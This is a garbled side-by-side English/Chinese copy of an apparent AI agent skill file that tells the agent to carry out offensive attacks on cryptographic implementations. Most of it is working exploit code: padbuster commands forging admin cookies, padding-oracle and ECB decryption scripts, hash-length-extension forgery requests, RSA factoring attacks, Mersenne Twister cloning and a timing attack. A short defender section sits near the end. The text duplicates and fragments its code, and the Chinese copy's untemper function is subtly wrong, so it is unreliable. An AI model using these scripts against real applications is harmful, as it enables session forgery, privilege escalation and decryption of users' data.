offensive-crypto-attacks

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Cryptographic Implementation Attacks

加密实现攻击

You are performing offensive cryptographic analysis against target applications. This skill covers the identification and exploitation of flawed cryptographic implementations -- not breaks against the underlying mathematical primitives, but against the ways developers misuse them. You treat every encrypted blob, signed token, and hashed value as a potential attack surface.
你正在对目标应用程序执行攻击性密码学分析。本 skill 涵盖识别和利用有缺陷的加密实现——重点不是破解底层数学原语,而是利用开发者对这些原语的误用。你应将每个加密数据块、签名 token 和哈希值都视为潜在攻击面。

Quick Workflow

快速工作流程

  1. Identify cryptographic touchpoints -- cookies, tokens, API parameters, stored credentials, signed URLs.
  2. Fingerprint the algorithm and mode -- measure ciphertext length behavior, detect block alignment, check for Base64/hex encoding layers.
  3. Classify the vulnerability class -- padding oracle, ECB determinism, weak MAC construction, RSA parameter weakness, PRNG predictability.
  4. Select and configure the appropriate tool or custom script.
  5. Execute the attack, decrypt or forge the target value.
  6. Document the cryptographic weakness, its root cause, and the remediation path.

  1. 确定加密交互点——cookie、token、API 参数、存储的凭据、签名 URL。
  2. 识别算法和模式——测量密文长度行为、检测分组对齐情况、检查 Base64/hex 编码层。
  3. 对漏洞类别进行分类——填充预言机、ECB 确定性、弱 MAC 构造、RSA 参数缺陷、PRNG 可预测性。
  4. 选择并配置适当的工具或自定义脚本。
  5. 执行攻击,解密或伪造目标值。
  6. 记录密码学弱点、根本原因和修复路径。

Padding Oracle Attacks

填充预言机攻击

Padding oracle attacks exploit systems that reveal whether CBC-mode decrypted plaintext has valid PKCS7 padding. A single bit of information -- valid or invalid padding -- is sufficient to decrypt any ciphertext block or forge arbitrary plaintext without knowing the key.
Identify the oracle by submitting modified ciphertext and observing differential responses. The oracle can manifest as distinct HTTP status codes, different error messages, timing differences, or behavioral changes in application logic.
Use padbuster for automated exploitation against web applications:
bash
undefined
填充预言机攻击利用会泄露 CBC 模式解密后的明文是否具有有效 PKCS7 填充的系统。只需一个 bit 信息——填充有效或无效——就足以在不知道密钥的情况下解密任意密文块或伪造任意明文。
通过提交修改后的密文并观察差异化响应来识别 oracle。oracle 可能表现为不同的 HTTP 状态码、不同的错误消息、时序差异或应用程序逻辑中的行为变化。
使用 padbuster 对 Web 应用程序进行自动化漏洞利用:
bash
undefined

Decrypt an encrypted cookie value

Decrypt an encrypted cookie value

URL is the endpoint, EncryptedValue is the target, BlockSize is typically 8 or 16

URL is the endpoint, EncryptedValue is the target, BlockSize is typically 8 or 16

padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16
-cookies "session=EncryptedValue"
-encoding 0
-error "invalid"
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16
-cookies "session=EncryptedValue"
-encoding 0
-error "invalid"

Forge a new plaintext value using the discovered oracle

Forge a new plaintext value using the discovered oracle

padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16
-cookies "session=EncryptedValue"
-encoding 0
-error "invalid"
-plaintext "admin=true;user=attacker"

Build a custom padding oracle exploit when padbuster cannot handle the target's encoding or transport:

```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import requests
import struct

def oracle(iv, ciphertext, url):
    """Return True if the server accepts the padding."""
    payload = (iv + ciphertext).hex()
    resp = requests.get(url, params={"data": payload})
    return resp.status_code != 500  # Adapt to your oracle signal

def decrypt_block(prev_block, cipher_block, url, block_size=16):
    """Decrypt a single block via Vaudenay's attack."""
    intermediate = bytearray(block_size)
    plaintext = bytearray(block_size)

    for byte_pos in range(block_size - 1, -1, -1):
        pad_val = block_size - byte_pos
        crafted_iv = bytearray(block_size)

        # Set already-recovered bytes to produce correct padding
        for k in range(byte_pos + 1, block_size):
            crafted_iv[k] = intermediate[k] ^ pad_val

        for guess in range(256):
            crafted_iv[byte_pos] = guess
            if oracle(bytes(crafted_iv), cipher_block, url):
                # Handle the ambiguity on the last byte
                if byte_pos == block_size - 1:
                    crafted_iv[byte_pos - 1] ^= 1
                    if not oracle(bytes(crafted_iv), cipher_block, url):
                        continue
                intermediate[byte_pos] = guess ^ pad_val
                plaintext[byte_pos] = intermediate[byte_pos] ^ prev_block[byte_pos]
                break

    return bytes(plaintext)

padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16
-cookies "session=EncryptedValue"
-encoding 0
-error "invalid"
-plaintext "admin=true;user=attacker"

当 padbuster 无法处理目标的编码或传输方式时,构建自定义填充预言机漏洞利用:

```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import requests
import struct

def oracle(iv, ciphertext, url):
    """Return True if the server accepts the padding."""
    payload = (iv + ciphertext).hex()
    resp = requests.get(url, params={"data": payload})
    return resp.status_code != 500  # Adapt to your oracle signal

def decrypt_block(prev_block, cipher_block, url, block_size=16):
    """Decrypt a single block via Vaudenay's attack."""
    intermediate = bytearray(block_size)
    plaintext = bytearray(block_size)

    for byte_pos in range(block_size - 1, -1, -1):
        pad_val = block_size - byte_pos
        crafted_iv = bytearray(block_size)

        # Set already-recovered bytes to produce correct padding
        for k in range(byte_pos + 1, block_size):
            crafted_iv[k] = intermediate[k] ^ pad_val

        for guess in range(256):
            crafted_iv[byte_pos] = guess
            if oracle(bytes(crafted_iv), cipher_block, url):
                # Handle the ambiguity on the last byte
                if byte_pos == block_size - 1:
                    crafted_iv[byte_pos - 1] ^= 1
                    if not oracle(bytes(crafted_iv), cipher_block, url):
                        continue
                intermediate[byte_pos] = guess ^ pad_val
                plaintext[byte_pos] = intermediate[byte_pos] ^ prev_block[byte_pos]
                break

    return bytes(plaintext)

ECB Block Manipulation

ECB 分块操纵

ECB mode encrypts each block independently with the same key, producing identical ciphertext for identical plaintext blocks. This determinism enables two primary attacks: cut-and-paste block rearrangement and byte-at-a-time decryption.
Detect ECB mode by encrypting repeated plaintext and checking for repeated ciphertext blocks:
python
def detect_ecb(ciphertext, block_size=16):
    """Detect ECB mode by finding duplicate blocks."""
    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
    return len(blocks) != len(set(blocks))
ECB 模式使用同一密钥独立加密每个块,因此相同明文块会产生相同密文。这种确定性支持两类主要攻击:剪切粘贴分块重排和逐字节解密。
通过加密重复明文并检查重复密文块来检测 ECB 模式:
python
def detect_ecb(ciphertext, block_size=16):
    """Detect ECB mode by finding duplicate blocks."""
    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
    return len(blocks) != len(set(blocks))

Probe an encryption oracle for ECB

Probe an encryption oracle for ECB

Send 3 blocks of identical bytes -- if 2+ output blocks match, it is ECB

Send 3 blocks of identical bytes -- if 2+ output blocks match, it is ECB

probe = b"A" * (block_size * 3) ciphertext = encryption_oracle(probe) if detect_ecb(ciphertext): print("ECB mode confirmed")

Perform byte-at-a-time decryption against an oracle that appends a secret before encrypting:

```python
def byte_at_a_time_ecb(oracle_func, block_size=16):
    """Recover secret appended by an ECB encryption oracle."""
    recovered = b""

    # Determine the total secret length
    baseline_len = len(oracle_func(b""))

    for i in range(baseline_len):
        block_index = (len(recovered)) // block_size
        # Craft input so the target byte is the last byte of a block
        pad_len = block_size - 1 - (len(recovered) % block_size)
        padding = b"A" * pad_len

        # Get the target block
        target_ct = oracle_func(padding)
        target_block = target_ct[block_index * block_size:(block_index + 1) * block_size]

        # Brute-force the unknown byte
        for byte_val in range(256):
            test_input = padding + recovered + bytes([byte_val])
            test_ct = oracle_func(test_input)
            test_block = test_ct[block_index * block_size:(block_index + 1) * block_size]
            if test_block == target_block:
                recovered += bytes([byte_val])
                break

    return recovered
ECB cut-and-paste attacks rearrange ciphertext blocks to produce valid plaintext with attacker-controlled content. Target any system where structured data (JSON, key=value pairs, serialized objects) is ECB-encrypted and the attacker controls part of the input.

probe = b"A" * (block_size * 3) ciphertext = encryption_oracle(probe) if detect_ecb(ciphertext): print("ECB mode confirmed")

对会在加密前附加 secret 的 oracle 执行逐字节解密:

```python
def byte_at_a_time_ecb(oracle_func, block_size=16):
    """Recover secret appended by an ECB encryption oracle."""
    recovered = b""

    # Determine the total secret length
    baseline_len = len(oracle_func(b""))

    for i in range(baseline_len):
        block_index = (len(recovered)) // block_size
        # Craft input so the target byte is the last byte of a block
        pad_len = block_size - 1 - (len(recovered) % block_size)
        padding = b"A" * pad_len

        # Get the target block
        target_ct = oracle_func(padding)
        target_block = target_ct[block_index * block_size:(block_index + 1) * block_size]

        # Brute-force the unknown byte
        for byte_val in range(256):
            test_input = padding + recovered + bytes([byte_val])
            test_ct = oracle_func(test_input)
            test_block = test_ct[block_index * block_size:(block_index + 1) * block_size]
            if test_block == target_block:
                recovered += bytes([byte_val])
                break

    return recovered
ECB 剪切粘贴攻击通过重排密文块,生成包含攻击者可控内容的有效明文。目标可以是任何对结构化数据(JSON、key=value 对、序列化对象)使用 ECB 加密且攻击者能够控制部分输入的系统。

Hash Length Extension

哈希长度扩展

When an application computes a MAC as
H(secret || message)
using a Merkle-Damgard hash (MD5, SHA1, SHA256), you can append data to the message and compute a valid MAC without knowing the secret. You only need the original MAC, the message, and the secret length (or a range to brute-force).
Use hashpump to forge extended messages:
bash
undefined
当应用使用 Merkle-Damgard 哈希(MD5、SHA1、SHA256)以
H(secret || message)
形式计算 MAC 时,你可以在不知道 secret 的情况下向消息追加数据并计算出有效 MAC。你只需要原始 MAC、消息和 secret 长度(或一个可供暴力枚举的范围)。
使用 hashpump 伪造扩展消息:
bash
undefined

hashpumpy Python bindings

hashpumpy Python bindings

pip install hashpumpy
pip install hashpumpy

Forge an extended hash

Forge an extended hash

Original signature, original data, data to append, key length

Original signature, original data, data to append, key length

hashpump -s "original_mac_hex"
-d "original_data"
-a "&admin=true"
-k 16

```python
import hashpumpy
import requests

original_mac = "a1b2c3d4e5f6..."
original_data = "user=guest&expire=2025"
append_data = "&admin=true"
hashpump -s "original_mac_hex"
-d "original_data"
-a "&admin=true"
-k 16

```python
import hashpumpy
import requests

original_mac = "a1b2c3d4e5f6..."
original_data = "user=guest&expire=2025"
append_data = "&admin=true"

Try key lengths from 8 to 32

Try key lengths from 8 to 32

for key_len in range(8, 33): new_mac, new_data = hashpumpy.hashpump( original_mac, original_data, append_data, key_len ) # Submit the forged request resp = requests.get( f"http://target.com/api?data={new_data.hex()}&mac={new_mac}" ) if resp.status_code == 200 and "admin" in resp.text: print(f"Key length: {key_len}") print(f"Forged MAC: {new_mac}") break

HMAC constructions (`H(key XOR opad || H(key XOR ipad || message))`) are not vulnerable to length extension. If you identify HMAC in use, pivot to other attack vectors.

---
for key_len in range(8, 33): new_mac, new_data = hashpumpy.hashpump( original_mac, original_data, append_data, key_len ) # Submit the forged request resp = requests.get( f"http://target.com/api?data={new_data.hex()}&mac={new_mac}" ) if resp.status_code == 200 and "admin" in resp.text: print(f"Key length: {key_len}") print(f"Forged MAC: {new_mac}") break

HMAC 构造(`H(key XOR opad || H(key XOR ipad || message))`)不受长度扩展攻击影响。如果发现使用 HMAC,应转向其他攻击向量。

---

RSA Attacks

RSA 攻击

RSA implementations fail in predictable ways. Target the mathematical parameters before attacking the padding scheme.
Use RsaCtfTool for automated RSA analysis:
bash
undefined
RSA 实现会以可预测的方式失效。在攻击填充方案之前,应先检查数学参数。
使用 RsaCtfTool 进行自动化 RSA 分析:
bash
undefined

Attack a public key directly

Attack a public key directly

RsaCtfTool --publickey pubkey.pem --private
RsaCtfTool --publickey pubkey.pem --private

Decrypt a ciphertext with a known weak key

Decrypt a ciphertext with a known weak key

RsaCtfTool --publickey pubkey.pem --uncipherfile ciphertext.bin
RsaCtfTool --publickey pubkey.pem --uncipherfile ciphertext.bin

Attack multiple keys for common factor (shared prime)

Attack multiple keys for common factor (shared prime)

RsaCtfTool --publickey "key1.pem,key2.pem" --private
RsaCtfTool --publickey "key1.pem,key2.pem" --private

Specific attack selection

Specific attack selection

RsaCtfTool --publickey pubkey.pem --attack wiener RsaCtfTool --publickey pubkey.pem --attack smallq RsaCtfTool --publickey pubkey.pem --attack fermat

Exploit small public exponent (e=3) when the plaintext is short enough that `m^e < n`:

```python
from Crypto.PublicKey import RSA
from gmpy2 import iroot

def small_exponent_attack(ciphertext_int, e, n):
    """When m^e < n, the ciphertext is simply m^e with no modular reduction."""
    plaintext_int, is_perfect = iroot(ciphertext_int, e)
    if is_perfect:
        return int(plaintext_int).to_bytes(
            (int(plaintext_int).bit_length() + 7) // 8, 'big'
        )
    return None
RsaCtfTool --publickey pubkey.pem --attack wiener RsaCtfTool --publickey pubkey.pem --attack smallq RsaCtfTool --publickey pubkey.pem --attack fermat

当明文足够短、满足 `m^e < n` 时,利用小公指数(e=3):

```python
from Crypto.PublicKey import RSA
from gmpy2 import iroot

def small_exponent_attack(ciphertext_int, e, n):
    """When m^e < n, the ciphertext is simply m^e with no modular reduction."""
    plaintext_int, is_perfect = iroot(ciphertext_int, e)
    if is_perfect:
        return int(plaintext_int).to_bytes(
            (int(plaintext_int).bit_length() + 7) // 8, 'big'
        )
    return None

Hastad's broadcast attack: same message encrypted with e=3 to 3 recipients

Hastad's broadcast attack: same message encrypted with e=3 to 3 recipients

def hastad_broadcast(ciphertexts, moduli, e=3): """CRT-based recovery when the same message is sent to e recipients.""" from functools import reduce N = reduce(lambda a, b: a * b, moduli) result = 0 for ci, ni in zip(ciphertexts, moduli): Ni = N // ni _, mi, _ = gmpy2.gcdext(Ni, ni) result += ci * Ni * int(mi) result = result % N plaintext, _ = iroot(result, e) return int(plaintext).to_bytes((int(plaintext).bit_length() + 7) // 8, 'big')

Bleichenbacher's attack targets RSA PKCS#1 v1.5 padding. The oracle is any system that distinguishes between valid and invalid PKCS#1 v1.5 padding after decryption. This includes TLS servers returning different alerts, APIs returning different error codes, and timing differences in error handling. The attack requires approximately 2^20 oracle queries to recover the plaintext.

Coppersmith's method recovers small unknown portions of RSA plaintext or factors when partial information is known. Use SageMath for the lattice computations:

```python
def hastad_broadcast(ciphertexts, moduli, e=3): """CRT-based recovery when the same message is sent to e recipients.""" from functools import reduce N = reduce(lambda a, b: a * b, moduli) result = 0 for ci, ni in zip(ciphertexts, moduli): Ni = N // ni _, mi, _ = gmpy2.gcdext(Ni, ni) result += ci * Ni * int(mi) result = result % N plaintext, _ = iroot(result, e) return int(plaintext).to_bytes((int(plaintext).bit_length() + 7) // 8, 'big')

Bleichenbacher 攻击针对 RSA PKCS#1 v1.5 填充。任何能够区分解密后有效和无效 PKCS#1 v1.5 填充的系统都可以作为 oracle。这包括返回不同警报的 TLS 服务器、返回不同错误代码的 API,以及错误处理中的时序差异。该攻击大约需要 2^20 次 oracle 查询才能恢复明文。

Coppersmith 方法在已知部分信息时,恢复 RSA 明文中较小的未知部分或因数。使用 SageMath 进行格计算:

```python

SageMath: recover high bits of a factor

SageMath: recover high bits of a factor

If you know the top bits of p, Coppersmith finds the rest

If you know the top bits of p, Coppersmith finds the rest

n = <modulus> p_approx = <known_high_bits_of_p> P.<x> = PolynomialRing(Zmod(n)) f = p_approx + x roots = f.small_roots(X=2^64, beta=0.5) # X bounds the unknown portion if roots: p = p_approx + int(roots[0]) q = n // p print(f"p = {p}") print(f"q = {q}")

---
n = <modulus> p_approx = <known_high_bits_of_p> P.<x> = PolynomialRing(Zmod(n)) f = p_approx + x roots = f.small_roots(X=2^64, beta=0.5) # X bounds the unknown portion if roots: p = p_approx + int(roots[0]) q = n // p print(f"p = {p}") print(f"q = {q}")

---

Weak PRNG Exploitation

弱 PRNG 利用

Applications that seed random number generators from predictable sources -- timestamps, PIDs, low-entropy pools -- produce predictable outputs.
Recover MT19937 (Mersenne Twister) internal state from 624 consecutive 32-bit outputs:
python
def untemper(y):
    """Reverse the MT19937 tempering transform."""
    # Reverse: y ^= y >> 18
    y ^= y >> 18
    # Reverse: y ^= (y << 15) & 0xEFC60000
    y ^= (y << 15) & 0xEFC60000
    # Reverse: y ^= (y << 7) & 0x9D2C5680 (iterative)
    tmp = y
    for _ in range(7):
        tmp = y ^ ((tmp << 7) & 0x9D2C5680)
    y = tmp
    # Reverse: y ^= y >> 11 (iterative)
    tmp = y
    for _ in range(3):
        tmp = y ^ (tmp >> 11)
    y = tmp
    return y

def clone_mt19937(outputs_624):
    """Clone MT19937 state from exactly 624 observed 32-bit outputs."""
    import random
    mt_state = [untemper(o) for o in outputs_624]
    # Reconstruct the state tuple: (3, tuple(624 ints + index), None)
    state = (3, tuple(mt_state + [624]), None)
    cloned = random.Random()
    cloned.setstate(state)
    return cloned
使用可预测来源——时间戳、PID、低熵池——为随机数生成器设定种子的应用会产生可预测输出。
从连续 624 个 32 位输出中恢复 MT19937(Mersenne Twister)的内部状态:
python
def untemper(y):
    """Reverse the MT19937 tempering transform."""
    # Reverse: y ^= y >> 18
    y ^= y >> 18
    # Reverse: y ^= (y << 15) & 0xEFC60000
    y ^= (y << 15) & 0xEFC60000
    # Reverse: y ^= (y << 7) & 0x9D2C5680 (iterative)
    tmp = y
    for _ in range(7):
        tmp = y ^ ((tmp << 7) & 0x9D2C5680)
    y = tmp
    # Reverse: y ^= y >> 11 (iterative)
    tmp = y
    for _ in range(3):
        tmp = y ^ ((tmp >> 11) & 0x9D2C5680)
    y = tmp
    return y

def clone_mt19937(outputs_624):
    """Clone MT19937 state from exactly 624 observed 32-bit outputs."""
    import random
    mt_state = [untemper(o) for o in outputs_624]
    # Reconstruct the state tuple: (3, tuple(624 ints + index), None)
    state = (3, tuple(mt_state + [624]), None)
    cloned = random.Random()
    cloned.setstate(state)
    return cloned

Predict all future outputs

Predict all future outputs

cloned_rng = clone_mt19937(observed_outputs) next_token = cloned_rng.getrandbits(32)

Exploit time-seeded PRNGs by narrowing the seed window:

```python
import random
import time

def brute_force_time_seed(known_output, time_window_start, time_window_end):
    """Recover the seed when random.seed() was called with int(time.time())."""
    for seed in range(int(time_window_start), int(time_window_end)):
        rng = random.Random(seed)
        if rng.getrandbits(32) == known_output:
            return seed
    return None

cloned_rng = clone_mt19937(observed_outputs) next_token = cloned_rng.getrandbits(32)

通过缩小种子窗口来利用基于时间的 PRNG:

```python
import random
import time

def brute_force_time_seed(known_output, time_window_start, time_window_end):
    """Recover the seed when random.seed() was called with int(time.time())."""
    for seed in range(int(time_window_start), int(time_window_end)):
        rng = random.Random(seed)
        if rng.getrandbits(32) == known_output:
            return seed
    return None

Timing Side-Channel Attacks

时序侧信道攻击

Timing attacks exploit data-dependent execution time in cryptographic comparisons. The classic target is byte-by-byte string comparison of MACs, tokens, or passwords.
python
import requests
import time
import statistics

def timing_attack_mac(url, known_prefix, charset, samples=20):
    """Recover a MAC byte-by-byte via timing side-channel."""
    best_byte = None
    best_time = 0

    for candidate in charset:
        test_mac = known_prefix + candidate + "\x00" * (32 - len(known_prefix) - 1)
        times = []
        for _ in range(samples):
            start = time.perf_counter_ns()
            requests.get(url, params={"mac": test_mac})
            elapsed = time.perf_counter_ns() - start
            times.append(elapsed)

        median = statistics.median(times)
        if median > best_time:
            best_time = median
            best_byte = candidate

    return known_prefix + best_byte
时序攻击利用加密比较中依赖数据的执行时间。经典目标是对 MAC、token 或密码进行逐字节字符串比较。
python
import requests
import time
import statistics

def timing_attack_mac(url, known_prefix, charset, samples=20):
    """Recover a MAC byte-by-byte via timing side-channel."""
    best_byte = None
    best_time = 0

    for candidate in charset:
        test_mac = known_prefix + candidate + "\x00" * (32 - len(known_prefix) - 1)
        times = []
        for _ in range(samples):
            start = time.perf_counter_ns()
            requests.get(url, params={"mac": test_mac})
            elapsed = time.perf_counter_ns() - start
            times.append(elapsed)

        median = statistics.median(times)
        if median > best_time:
            best_time = median
            best_byte = candidate

    return known_prefix + best_byte

Statistical enhancement: use percentile comparison to reduce noise

Statistical enhancement: use percentile comparison to reduce noise

Network jitter requires 50-100+ samples per candidate in practice

Network jitter requires 50-100+ samples per candidate in practice


---

---

AES-GCM Nonce Reuse

AES-GCM nonce 重用

AES-GCM nonce reuse is catastrophic. Reusing a nonce with the same key allows recovery of the authentication key (GHASH key H) and enables both decryption of XOR'd plaintexts and forgery of authentication tags.
python
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long
import struct

def exploit_gcm_nonce_reuse(ct1, tag1, aad1, ct2, tag2, aad2, nonce):
    """
    Given two ciphertexts encrypted under the same key and nonce,
    recover the GHASH key H and forge tags for arbitrary messages.
    XOR of ciphertexts yields XOR of plaintexts.
    """
    # Recover plaintext XOR
    xor_plaintexts = bytes(a ^ b for a, b in zip(ct1, ct2))

    # Recover GHASH key H from the tag polynomial relationship
    # tag1 = GHASH(H, aad1, ct1) XOR E(K, nonce||0^31||1)
    # tag2 = GHASH(H, aad2, ct2) XOR E(K, nonce||0^31||1)
    # tag1 XOR tag2 = GHASH(H, aad1, ct1) XOR GHASH(H, aad2, ct2)
    # This yields a polynomial in H over GF(2^128)

    # The polynomial root gives H; use SageMath or a GF(2^128) library
    # for the actual field arithmetic
    print(f"Plaintext XOR: {xor_plaintexts.hex()}")
    print("Solve the GHASH polynomial in GF(2^128) to recover H")
    return xor_plaintexts

AES-GCM nonce 重用后果严重。在使用相同密钥的情况下重用 nonce,可恢复认证密钥(GHASH 密钥 H),并能解密彼此 XOR 后的明文以及伪造认证标签。
python
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long
import struct

def exploit_gcm_nonce_reuse(ct1, tag1, aad1, ct2, tag2, aad2, nonce):
    """
    Given two ciphertexts encrypted under the same key and nonce,
    recover the GHASH key H and forge tags for arbitrary messages.
    XOR of ciphertexts yields XOR of plaintexts.
    """
    # Recover plaintext XOR
    xor_plaintexts = bytes(a ^ b for a, b in zip(ct1, ct2))

    # Recover GHASH key H from the tag polynomial relationship
    # tag1 = GHASH(H, aad1, ct1) XOR E(K, nonce||0^31||1)
    # tag2 = GHASH(H, aad2, ct2) XOR E(K, nonce||0^31||1)
    # tag1 XOR tag2 = GHASH(H, aad1, ct1) XOR GHASH(H, aad2, ct2)
    # This yields a polynomial in H over GF(2^128)

    # The polynomial root gives H; use SageMath or a GF(2^128) library
    # for the actual field arithmetic
    print(f"Plaintext XOR: {xor_plaintexts.hex()}")
    print("Solve the GHASH polynomial in GF(2^128) to recover H")
    return xor_plaintexts

Key Derivation Weaknesses

密钥派生弱点

Target password-based key derivation with insufficient work factors:
python
import hashlib
import itertools
针对工作因子不足的基于密码的密钥派生:
python
import hashlib
import itertools

Weak KDF: single SHA-256 iteration, no salt

Weak KDF: single SHA-256 iteration, no salt

def crack_weak_kdf(target_key_hex, wordlist_path): """Crack a key derived via single-pass SHA-256 of a password.""" target = bytes.fromhex(target_key_hex) with open(wordlist_path, 'r') as f: for word in f: word = word.strip() derived = hashlib.sha256(word.encode()).digest() if derived == target: return word return None
def crack_weak_kdf(target_key_hex, wordlist_path): """Crack a key derived via single-pass SHA-256 of a password.""" target = bytes.fromhex(target_key_hex) with open(wordlist_path, 'r') as f: for word in f: word = word.strip() derived = hashlib.sha256(word.encode()).digest() if derived == target: return word return None

Detect weak PBKDF2 iteration counts

Detect weak PBKDF2 iteration counts

def check_pbkdf2_strength(iterations, algorithm="sha256"): """Flag insufficient PBKDF2 parameters per OWASP 2024 guidance.""" minimums = { "sha1": 1_300_000, "sha256": 600_000, "sha512": 210_000, } minimum = minimums.get(algorithm, 600_000) if iterations < minimum: print(f"WEAK: {iterations} iterations of PBKDF2-{algorithm}") print(f"Minimum recommended: {minimum}") return False return True

---
def check_pbkdf2_strength(iterations, algorithm="sha256"): """Flag insufficient PBKDF2 parameters per OWASP 2024 guidance.""" minimums = { "sha1": 1_300_000, "sha256": 600_000, "sha512": 210_000, } minimum = minimums.get(algorithm, 600_000) if iterations < minimum: print(f"WEAK: {iterations} iterations of PBKDF2-{algorithm}") print(f"Minimum recommended: {minimum}") return False return True

---

Detection / Defender View

检测与防御方视角

Defenders should monitor for the following indicators of cryptographic attacks:
  • Padding oracle probing: High volumes of requests to the same endpoint with incrementally modified ciphertext parameters. Look for request patterns where a single byte changes across hundreds of sequential requests. Alert on endpoints returning binary pass/fail for encrypted input.
  • ECB detection probing: Requests containing long runs of repeated characters (16+ identical bytes) submitted to encryption endpoints.
  • Hash length extension: URL parameters or cookies containing null bytes (
    %00
    ) in positions that should be printable text. Message bodies that are longer than expected with padding artifacts.
  • RSA parameter harvesting: Repeated requests for public key endpoints, certificate downloads, or TLS handshake enumeration.
  • Timing attacks: Unusual request patterns with high concurrency to authentication or MAC verification endpoints. Statistical analysis of response time distributions showing stepped patterns.
  • Nonce reuse: Monitor encryption operations for counter resets or nonce collisions. Implement nonce-misuse-resistant AEAD modes (AES-GCM-SIV, XChaCha20-Poly1305) as defense in depth.
Remediation priorities: migrate from CBC to authenticated encryption (AES-GCM, ChaCha20-Poly1305), use HMAC instead of
H(secret||message)
, enforce minimum 2048-bit RSA keys with OAEP padding, use cryptographically secure RNGs (
secrets
module,
/dev/urandom
), implement constant-time comparison for all secret values, and enforce OWASP-recommended PBKDF2 iteration counts or migrate to Argon2id.

防御方应监控以下密码学攻击指标:
  • 填充预言机探测:向同一端点发送大量请求,其中密文参数被逐步修改。寻找单个字节在数百个连续请求中发生变化的请求模式。对加密输入返回二元通过/失败结果的端点发出告警。
  • ECB 检测探测:向加密端点提交包含长序列重复字符(16 个或更多相同字节)的请求。
  • 哈希长度扩展:URL 参数或 cookie 在本应可打印为文本的位置包含 null 字节(
    %00
    )。消息正文长度超出预期并带有填充痕迹。
  • RSA 参数收集:重复请求公钥端点、下载证书或枚举 TLS 握手。
  • 时序攻击:向身份验证或 MAC 验证端点发送异常的高并发请求模式。对响应时间分布进行统计分析,识别阶梯状模式。
  • nonce 重用:监控加密操作中的计数器重置或 nonce 碰撞。实施具备 nonce 误用抵抗能力的 AEAD 模式(AES-GCM-SIV、XChaCha20-Poly1305)作为纵深防御。
修复优先级:从 CBC 迁移到认证加密(AES-GCM、ChaCha20-Poly1305),使用 HMAC 替代
H(secret||message)
,强制使用至少 2048 位 RSA 密钥和 OAEP 填充,使用密码学安全 RNG(
secrets
模块、
/dev/urandom
),对所有 secret 值实施常量时间比较,并执行 OWASP 推荐的 PBKDF2 迭代次数,或迁移到 Argon2id。

Engagement Cheatsheet

实战速查表

TargetTool / TechniqueFirst Step
Encrypted cookie (CBC)padbusterModify last byte, observe response difference
Encrypted token (ECB)Custom PythonSend repeated blocks, check for repetition
MAC = H(secret+msg)hashpumpyConfirm Merkle-Damgard hash, try extensions
RSA public keyRsaCtfToolExtract n and e, check key size and factors
Session token (PRNG)Custom PythonCollect 624+ outputs, clone MT state
Auth endpointTiming scriptMeasure response time per byte position
AES-GCM encrypted APICustom Python / SageMathDetect nonce reuse across captured messages
Password-derived keyhashcat / custom scriptIdentify KDF, check iteration count
Ciphertext identification heuristics:
  • Length is multiple of 8 bytes: likely DES/3DES in CBC/ECB.
  • Length is multiple of 16 bytes: likely AES in CBC/ECB.
  • Length is plaintext + 16 bytes (tag): likely AES-GCM.
  • Fixed-length output regardless of input: likely a hash, not encryption.

目标工具/技术第一步
加密 cookie(CBC)padbuster修改最后一个字节,观察响应差异
加密 token(ECB)自定义 Python发送重复块并检查是否重复
MAC = H(secret+msg)hashpumpy确认是否为 Merkle-Damgard 哈希,尝试扩展
RSA 公钥RsaCtfTool提取 n 和 e,检查密钥大小和因子
会话 token(PRNG)自定义 Python收集 624 个以上输出,克隆 MT 状态
认证端点时序脚本按字节位置测量响应时间
AES-GCM 加密 API自定义 Python / SageMath检测已捕获消息之间的 nonce 重用
基于密码派生的密钥hashcat / 自定义脚本识别 KDF,检查迭代次数
密文识别启发式规则:
  • 长度为 8 字节的整数倍:可能是 CBC/ECB 模式下的 DES/3DES。
  • 长度为 16 字节的整数倍:可能是 CBC/ECB 模式下的 AES。
  • 长度为明文 + 16 字节(tag):可能是 AES-GCM。
  • 无论输入长度如何,输出长度固定:可能是哈希,而非加密。

Key References

关键参考资料

  • Vaudenay, S. "Security Flaws Induced by CBC Padding." EUROCRYPT 2002.
  • Bleichenbacher, D. "Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS#1." CRYPTO 1998.
  • Duong, T. and Rizzo, J. "Practical Padding Oracle Attacks." USENIX WOOT 2010.
  • Coppersmith, D. "Small Solutions to Polynomial Equations, and Low Exponent RSA Vulnerabilities." Journal of Cryptology, 1997.
  • Joux, A. "Authentication Failures in NIST version of GCM." NIST Comment, 2006.
  • CWE-327: Use of a Broken or Risky Cryptographic Algorithm.
  • CWE-328: Use of Weak Hash.
  • CWE-330: Use of Insufficiently Random Values.
  • OWASP Password Storage Cheat Sheet (PBKDF2/Argon2id iteration guidance).
  • RsaCtfTool: https://github.com/RsaCtfTool/RsaCtfTool
  • padbuster: https://github.com/AonCyberLabs/PadBuster
  • hashpumpy: https://github.com/bwall/HashPump
  • Vaudenay, S. "Security Flaws Induced by CBC Padding." EUROCRYPT 2002.
  • Bleichenbacher, D. "Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS#1." CRYPTO 1998.
  • Duong, T. and Rizzo, J. "Practical Padding Oracle Attacks." USENIX WOOT 2010.
  • Coppersmith, D. "Small Solutions to Polynomial Equations, and Low Exponent RSA Vulnerabilities." Journal of Cryptology, 1997.
  • Joux, A. "Authentication Failures in NIST version of GCM." NIST Comment, 2006.
  • CWE-327: Use of a Broken or Risky Cryptographic Algorithm.
  • CWE-328: Use of Weak Hash.
  • CWE-330: Use of Insufficiently Random Values.
  • OWASP Password Storage Cheat Sheet(PBKDF2/Argon2id 迭代次数指导)。
  • RsaCtfTool: https://github.com/RsaCtfTool/RsaCtfTool
  • padbuster: https://github.com/AonCyberLabs/PadBuster
  • hashpumpy: https://github.com/bwall/HashPump